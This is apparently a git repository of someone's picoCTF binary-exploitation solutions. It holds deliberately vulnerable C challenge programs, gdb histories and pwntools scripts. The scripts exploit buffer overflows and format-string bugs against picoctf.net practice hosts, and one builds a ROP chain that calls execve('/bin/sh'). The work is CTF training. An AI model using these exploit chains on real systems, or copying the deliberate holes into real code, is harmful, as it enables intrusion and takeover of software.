13 Commits

Author SHA1 Message Date
THEON-1
e23720a073 Guessing Game 1 2025-12-21 19:35:24 +01:00
THEON-1
e2706a9bc4 What's your Input 2025-12-21 00:32:42 +01:00
THEON-1
13815ed351 buffer overflow 2 2025-12-20 21:23:48 +01:00
THEON-1
2359a500a2 Echo Valley 2025-12-19 19:04:12 +01:00
THEON-1
7f8436f98a Clutter Overflow 2025-12-09 12:59:31 +01:00
THEON-1
284e776cd5 flag leak 2025-12-09 11:58:45 +01:00
THEON-1
9acdaa1eed added readme 2025-12-08 14:54:06 +01:00
THEON-1
0fd914ffac RPS 2025-12-08 14:52:34 +01:00
THEON-1
fe67eec9c3 x-sixty-what 2025-12-08 13:36:09 +01:00
THEON-1
9003842333 Basic File Exploit 2025-12-08 11:41:08 +01:00
THEON-1
a3a7081d42 Pie Time 2 2025-12-04 11:53:31 +01:00
THEON-1
18d2c8c2be Pie Time 2025-12-04 11:53:21 +01:00
THEON-1
60df42d110 direnvrc 2025-10-07 11:59:10 +02:00
43 changed files with 1876 additions and 0 deletions

12
.envrc Normal file
View File

@@ -0,0 +1,12 @@
export MAMBA_EXE='/home/maxime/.local/bin/micromamba';
export MAMBA_ROOT_PREFIX='/home/maxime/.micromamba';
__mamba_setup="$("$MAMBA_EXE" shell hook --shell zsh --root-prefix "$MAMBA_ROOT_PREFIX" 2> /dev/null)"
if [ $? -eq 0 ]; then
eval "$__mamba_setup"
else
alias micromamba="$MAMBA_EXE" # Fallback on help from micromamba activate
fi
unset __mamba_setup
micromamba activate picoCTF

View File

View File

@@ -0,0 +1,195 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}

View File

@@ -0,0 +1,176 @@
r
exit
exit
disassemble vuln
b *vuln+44
c
c
exit
b *vuln+44
c
stackf
disassemble vuln
b *vuln+29
exit
b *vuln+29
c
b *vuln+29
continue
disassemble vuln
b *vuln+44
c
stackf
hexdump
hexdump
hexdump help
hexdump $sp 20
hexdump $sp 20
hexdump $sp 100
hexdump $sp 120
hexdump $sp 140
hexdump $sp 160
c
c
b *vuln+44
c
stackf
disassemble win
b *win
c
stackf
disassemble win
b *win+11
c
stackf
c
b *win+11
c
c
exit
b *win+11
c
stackf
nexti
exit
disassemble vuln
b *vuln+75
c
disassemble vuln
b *vuln+57
c
nexti
stackf
disassemble vuln
disassemble win
hexdump $ebp+0x08
stackf
c
disassemble win
b *win+118
c
c
exit
b *win+118
c
b *vuln+57
c
stackf
nexti
stackf
disassemble win
b *win+16
c
stackf
disassemble win
stackf
hexdump $sp 100
hexdump $sp 200
c
c
b *win+16
c
hexdump $sp 200
stackf
c
c
c
exit
c
stackf
disassemble win
b *win+7
exit
b *win+7
c
stackf
hexdump $sp 200
c
exit
b *win+7
c
stackf
hexdump $sp 200
disassemble *main
exit
b *win+7
c
stackf
hexdump $sp 200
disassemble *win
nexti
disassemble *win
nexti
disassemble *win
nexti
disassemble *win
hexdump $sp 200
nexti
hexdump $sp 200
c
c
exit
disassemble *win
b *win+118
c
stackf
hexdump $sp 200
disassemble *win
b *win+118
c
hexdump $sp 200
disassemble *win
hexdump $ebp
b *win+118
c
disassemble *win
stackf
c
c
exit
b *win+118
c
stackf
disassemble win
hexdump $ebp
hexdump $ebp+8
nexti
nexti
stackf
b *win+118
c
nexti
nexti
hexdump $ebp
hexdump $ebp+8
hexdump $ebp+12
c
b *win+118
c
stackf
disassemble win
b *win+143
c
disassemble win
nexti
c
exit

View File

@@ -0,0 +1 @@
{test}

24
buffer_overflow_2/sol.py Executable file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python
from pwn import *
context.terminal = "kitty"
win_address = 0x08049296
buffer_base = 0xfffe422c
ret_location = 0xfffe429c
ret_offset = ret_location - buffer_base
ebp_offset = 112
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D
conn = remote("saturn.picoctf.net", 56706)
#conn = process("./vuln")
#attach(conn)
conn.recvline()
conn.writeline(flat({ebp_offset+0x8:arg1, ebp_offset+0xc:arg2, ret_offset:win_address}, word_size=32))
conn.recvline()
rest = conn.recvuntil(b'}')
log.info(f"got {rest}")

BIN
buffer_overflow_2/vuln Executable file

Binary file not shown.

44
buffer_overflow_2/vuln.c Normal file
View File

@@ -0,0 +1,44 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}

BIN
clutter_overflow/chall Executable file

Binary file not shown.

54
clutter_overflow/chall.c Normal file
View File

@@ -0,0 +1,54 @@
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}

55
clutter_overflow/sol.py Executable file
View File

@@ -0,0 +1,55 @@
#!/usr/bin/env python
from pwn import *
def get_conn():
#return process("./chall")
return remote("mars.picoctf.net", 31890)
def try_memory_offset(offset):
cycle = cyclic(length=offset, n=8)
conn = get_conn()
conn.recvuntil(b"see?")
conn.recvline()
conn.sendline(cycle)
conn.recvuntil(b"== ")
result = conn.recvline(keepends=False)
conn.close()
return result
base = 0x100
exp = 0
p = log.progress("searching for variable offset")
while True:
offset = base + 2**exp
p.status(f"trying offset {offset}")
try:
result = try_memory_offset(offset)
except:
base = base + 2**(exp-1)
exp = 0
continue
if result != b"0x0":
next_result = 0
i = 0
while result != next_result:
i += 1
result = next_result
next_result = try_memory_offset(offset+i)
offset = cyclic_find(int(result, 16), n=8)
p.success(f"found result {unhex(result[2:])} at offset {offset}")
break
exp += 1
conn = get_conn()
conn.recvuntil(b"see?")
conn.recvline()
conn.sendline(b"a"*offset + p64(0xdeadbeef))
conn.interactive()

242
echo_valley/.gdb_history Normal file
View File

@@ -0,0 +1,242 @@
disassemble main
disassemble echo_valley
b *echo_valley+218
r
r
r
r
stackf
AAAA.%p.%p.%p.%p.%p.%p
r
nexti
r
stackf
nexti
r
stepi
stackf
next
next
next
next
next
next
next
next
next
next
next
next
next
next
nextret
next
r
stepi
stackf
nextret
nexti
stackf
r
disassemble echo_valley
stackf
help stackf
stackf 8 -10
stackf 8
stackf 8 10
stackf 8 -100
stackf 16 -10
hexdump $sp
hexdump $sp-0x60
hexdump $sp-0x60 100
hexdump $sp-0x60 1000
hexdump $sp-0x60 100
stackf
hexdump $sp-0x60 100
stackf
nextret
r
stackf
hexdump $sp-0x60 200
necti
nexti
stackf
r
stepi
stackf
r
stackf
nexti
stackf
r
stackf
stepi
stackf
nextret
r
stackf
stepi
stackf
nextret
exit
disassemble echo_valley
b *echo_valley+201
r
nexti
exit
disassemble echo_valley
b *echo_valley+218
r
nexti
stackf
exit
b *echo_valley+218
r
stackf
exit
b *echo_valley+218
r
nexti
stackf
exit
b *echo_valley+218
r
stackf
hexdump
hexdump 20
hexdump $sp 20
hexdump $sp 100
hexdump $sp 120
hexdump $sp 140
nexti
exit
b *echo_valley+218
r
nexti
stackf
hexdump $sp 140
exit()
lexit
exit
b *echo_valley+218
disassemble echo_valley
r
nexti
stackg
stackf
hexdump $sp 140
xit
exit
exit
nexti
nexti
r
exit
stackf
stackf
nexti
nextret
nextret
nextret
nextret
nextret
nextret
nextret
nextret
stackf
nextret
nextret
nextret
stackf
exit
exit
exit
disassemble echo-valley
disassemble echo_valley
nextret
nextret
exit
disassemble echo_valley
b *echo_valley+163
nextret
stackf
exit
disassemble echo_valley
b *echo_valley+218
r
help printf
printf "\01\02"
printf "\x01\x02"
printf "\x61\x62"
printf "\x41\x41"
disassemble valloc
exit
disassemble echo_valley
b *echo_valley+218
stackf
stackf help
stackf 20
stackf 20 -1
stackf 20 -2
stackf 20 1
stackf 20 2
stackf 20 3
stack-explore
stack
stackf
r
exit
b *echo_valley+218
exit
b *echo_valley+218
continue
stackf
nexti
stackf
exit
b *echo_valley+218
continue
nexti
stackf
exit
b *echo_valley+218
continue
nexti
exit
b *echo_valley+218
continue
nexti
hexdump $sp 140
continue
stackf
hexdump $sp 140
nexti
stackf
hexdump $sp 140
exit
b *echo_valley+218
continue
nexti
continue
nexti
stackf
hexdump $sp 140
exit
b *echo_valley+218
continue
hexdump $sp 140
nexti
hexdump $sp 140
exit
b *echo_valley+218
continue
hexdump $sp 140
nexti
hexdump $sp 140
continue
hexdump $sp 140
nexti
hexdump $sp 140
continue
exit
exit

51
echo_valley/manual.py Executable file
View File

@@ -0,0 +1,51 @@
#!/usr/bin/env python
from pwn import *
context.terminal = "kitty"
def write(data):
print(f"data to send: {data}")
return input("enter result: ").encode()
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
print(f"received {address_leak_string}")
dot = address_leak_string.rfind(b'.')
address_leak = int(address_leak_string[dot+1:], 16)
print(f"return address: {hex(address_leak)}")
dot2 = address_leak_string.rfind(b'.', 0, dot)
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
stack_address_ret = stack_address_leak_after_ret - 8
print(f"found stack address of ret pointer: {hex(stack_address_ret)}")
address_offset = 18
main_offset = 0x1401
print_flag_offset = 0x1269
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
print(f"jump address is: {hex(address_to_return_to)}")
# only 2 least significant address bytes have to be rewritten
print(f"first byte address: {p64(stack_address_ret)}")
# produces string that writes 0<=n<=255 to byte at address
# offset for alignment of memory address
# here, use offset 2
def produce_writer(n, address, offset=0, op=b"hhn"):
if n < 0:
log.error(f"n has to be >= 0, is {n}")
exit()
if n < 8:
n_pre = n
n_post = 8 - n_pre + offset
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
else:
return f"%{n:03}$x..".encode() + b"%8$" + op + b'.'*offset + address
lower_byte_value = address_to_return_to%256
upper_byte_value = (address_to_return_to>>8)%256
print(f"lower byte value: {lower_byte_value}\nupper byte value: {upper_byte_value}")
write_lower_byte = write(produce_writer(0, p64(stack_address_ret), offset=2))
write_upper_byte = write(produce_writer(0, p64(stack_address_ret+1), offset=2))
conn.interactive(term.text.bold_red(">> "))

63
echo_valley/sol.py Executable file
View File

@@ -0,0 +1,63 @@
#!/usr/bin/env python
from pwn import *
#conn = process("./valley")
conn = remote("shape-facility.picoctf.net", 53287)
conn.recvline()
def write(data):
conn.sendline(data)
conn.recvuntil(b"e: ")
return conn.recvline(keepends=False)
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
log.info(f"received {address_leak_string}")
dot = address_leak_string.rfind(b'.')
address_leak = int(address_leak_string[dot+1:], 16)
log.info(f"return address: {hex(address_leak)}")
dot2 = address_leak_string.rfind(b'.', 0, dot)
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
stack_address_ret = stack_address_leak_after_ret - 8
log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}")
address_offset = 18
main_offset = 0x1401
print_flag_offset = 0x1269
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
log.info(f"jump address is: {hex(address_to_return_to)}")
# only 2 least significant address bytes have to be rewritten
log.info(f"first byte address: {p64(stack_address_ret)}")
# produces string that writes 0<=n<=255 to byte at address
# offset for alignment of memory address
# here, use offset 2
def produce_writer(n, address, offset=0, op=b"hhn"):
if n < 0:
log.error(f"n has to be >= 0, is {n}")
exit()
if n < 8:
n_pre = n
n_post = 8 - n_pre + offset
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
else:
return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address
lower_byte_value = address_to_return_to%256
upper_byte_value = (address_to_return_to>>8)%256
lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2)
log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}")
write_lower_byte = conn.sendline(lower_byte_writer)
upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2)
log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}")
write_upper_byte = conn.sendline(upper_byte_writer)
conn.sendline(b"exit")
conn.recvuntil(b"The Valley Disappears\n")
rest = conn.recvall()
log.info(f"got {rest}")

BIN
echo_valley/valley Executable file

Binary file not shown.

49
echo_valley/valley.c Normal file
View File

@@ -0,0 +1,49 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}

2
flag_leak/.gdb_history Normal file
View File

@@ -0,0 +1,2 @@
disassemble main
exit

29
flag_leak/sol.py Executable file
View File

@@ -0,0 +1,29 @@
#!/usr/bin/env python
from pwn import *
buffer_size = 127
hex_to_read = 127//2
hex_reader = b'%x'*hex_to_read
payload = hex_reader + b'.'
log.info(f"payload: {payload}")
def endian_swap(s, offset=0):
result = b''
for i in range(3+offset, len(s), 4):
result += bytes(reversed(s[i-3:i+1]))
return result
conn = remote("saturn.picoctf.net", 65206)
conn.recvuntil(b" >> ")
conn.sendline(payload)
conn.recvline()
data = conn.recvline(keepends=False)[:-1]
log.info(f"received data: {data}")
unhexed_data = unhex(data)
for i in range(4):
endian_swapped_data = endian_swap(unhexed_data, offset=i)
if b"picoCTF" in endian_swapped_data:
break
log.info(f"processed data: {endian_swapped_data}")

BIN
flag_leak/vuln Executable file

Binary file not shown.

46
flag_leak/vuln.c Normal file
View File

@@ -0,0 +1,46 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}

View File

@@ -0,0 +1,60 @@
disassemble main
disassemble increment
disassemble get_random
exit
cyclic
cyclic 100
cyclic 200
cyclic 360
cyclic zaaa
cyclic zaaaaa
cyclic help
cyclic -l bdaaaaaa
cyclic -l aaaaaa
cyclic -l aaaaaaaa
cyclic -l aaaaaaab
r
r
cyclic -l 0x6161616161616170
disassemble main
exit
c
c
c
c
c
c
c
c
disassemble win
b *win+49
c
exit
b *win+49
c
stackf
stackf help
stackf -h
stackf 100
hexdump $sp 200
nexti
stackf
nexti
c
hexdump *bss
vmmap
hexdump 0x6b7000
hexdump 0x6bd000
hexdump 7062432
nexti
b *win+49
c
nexti
hexdump 7062432
c
nexti
c
b *win+49
c
c
nexti

View File

@@ -0,0 +1,5 @@
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln

View File

@@ -0,0 +1,28 @@
#!/usr/bin/env python
from pwn import *
n = 6
values = []
p = log.progress(f"bruteforcing {n} random numbers")
while len(values) < n:
for i in range(100):
with context.quiet:
conn = process("./vuln")
conn.recvline()
for v in values:
conn.recvuntil(b"guess?")
conn.sendline(str(v).encode())
conn.sendline(b"0")
p.status(f"i = {i:03}, {values}...")
conn.recvuntil(b"guess?")
conn.sendline(str(i+1).encode())
conn.recvline()
result = conn.recvline()
with context.quiet:
conn.close()
if b"win" in result:
values.append(i+1)
break
p.success(f"values are {values}")

58
guessing_game_1/sol.py Executable file
View File

@@ -0,0 +1,58 @@
#!/usr/bin/env python
from pwn import *
# https://cyb3rwhitesnake.medium.com/picoctf-guessing-game-1-pwn-bdc1c87016f9
context.terminal = "kitty"
numbers = [84, 87, 78, 16, 94, 36] # -> brute-forcing script
elf = ELF("./vuln")
rop = ROP(elf)
pop_rdi = rop.rdi.address
pop_rsi = rop.rsi.address
pop_rdx = rop.rdx.address
pop_rax = rop.rax.address
syscall = rop.syscall.address
bss = elf.bss()
read = elf.functions['read'].address
main = elf.functions['main'].address
ret_offset = 120
conn = remote("shape-facility.picoctf.net", 50780)
#conn = process("./vuln")
#attach(conn)
conn.recvuntil(b"guess?")
conn.sendline(str(numbers[0]).encode())
conn.recvuntil(b"Name?")
# call read: read(int fd -> rdi, void buf[count] -> rsi, size_t count -> rdx)
# read(stdin/0, bss, 12)
log.info(f"sending read payload")
payload = cyclic(ret_offset, n=8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(12)
payload += p64(read)
payload += p64(main)
conn.sendline(payload)
conn.sendline(b"/bin/sh\x00")
conn.recvuntil(b"guess?")
conn.sendline(str(numbers[1]).encode())
conn.recvuntil(b"Name?")
# call /bin/sh: sys_execve(59), rdi: char *filename, rsi: char *argv, rdx: char *envp
# sys_execve(bss, NULL/0, NULL/0)
log.info(f"calling execve")
payload = cyclic(ret_offset, n=8)
payload += p64(pop_rax) + p64(59)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
conn.sendline(payload)
conn.recvline()
conn.interactive()

BIN
guessing_game_1/vuln Executable file

Binary file not shown.

67
guessing_game_1/vuln.c Normal file
View File

@@ -0,0 +1,67 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}

14
pie_time/.gdb_history Normal file
View File

@@ -0,0 +1,14 @@
exit
exit
help
data
help data
list main
file vuln
list main
exec vuln
exec-file vuln
list main
file vuln
list main
exit

3
pie_time/notes.md Normal file
View File

@@ -0,0 +1,3 @@
- objdump to find adress of main() and win()
- calculate final adress main_address - main_offset + win_offset

BIN
pie_time/vuln Normal file

Binary file not shown.

49
pie_time/vuln.c Normal file
View File

@@ -0,0 +1,49 @@
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}

122
pie_time_2/.gdb_history Normal file
View File

@@ -0,0 +1,122 @@
r
Quit
r
b *0
r
step
step
stepi
next
r
nexti
stepi
break main
r
b
clear 3
clear
exit
break main
r
stepi
stepi
stepi
nexti
step
step
step
step
step
step
step
step
step
step
step
step
step
step
step
exit
b main
r
nexti
stepi
nexti
stack-explore
stackf
hexdump
hexdump $sp
hexdump $sp 128
hexdump $sp 512
ad40a7a0
b main
r
stepi
nexti
r
nexti
step
nexti
stackf
r
nexti
stepi
nexti
stackf
r
nexti
stepi
nexti
stackf
exit
b call_functions
r
nexti
stackf
r
nexti
nexti
stackf
r
nexti
stackf
r
nexti
nexti
stackf
r
nexti
stackf
r
nexti
nexti
stackf
r
nexti
exit
b call_functions+80
b *call_functions+80
r
nexti
stackf
r
nexti
stackf
55559311.f7e0a7a0.f7e0a7a0.55559328.0.340.f7e095c0.252e7825
r
exit
b *call_functions+85
r
stackf
55559311f7e0a7a0f7e0a7a0555593310340f7e095c078257825782578257825782578257825a980000
r
stackf
55559311f7e0a7a0f7e0a7a0555593410340f7e095c0782578257825782578257825782578257825782578257825a0051675000ffffcff055555441ffffd090f7c27635f7fc2000ffffd118ffffd050
r
stackf
r
stackf
r
stackf
exit

30
pie_time_2/notes.md Normal file
View File

@@ -0,0 +1,30 @@
# find main layout with `objdump -d --disassemble=main vuln`
```assembly
0000000000001400 <main>:
1400: f3 0f 1e fa endbr64
1404: 55 push %rbp
1405: 48 89 e5 mov %rsp,%rbp
1408: 48 8d 35 9a fe ff ff lea -0x166(%rip),%rsi # 12a9 <segfault_handler>
140f: bf 0b 00 00 00 mov $0xb,%edi
1414: e8 57 fd ff ff call 1170 <signal@plt>
1419: 48 8b 05 f0 2b 00 00 mov 0x2bf0(%rip),%rax # 4010 <stdout@GLIBC_2.2.5>
1420: b9 00 00 00 00 mov $0x0,%ecx
1425: ba 02 00 00 00 mov $0x2,%edx
142a: be 00 00 00 00 mov $0x0,%esi
142f: 48 89 c7 mov %rax,%rdi
1432: e8 49 fd ff ff call 1180 <setvbuf@plt>
1437: b8 00 00 00 00 mov $0x0,%eax
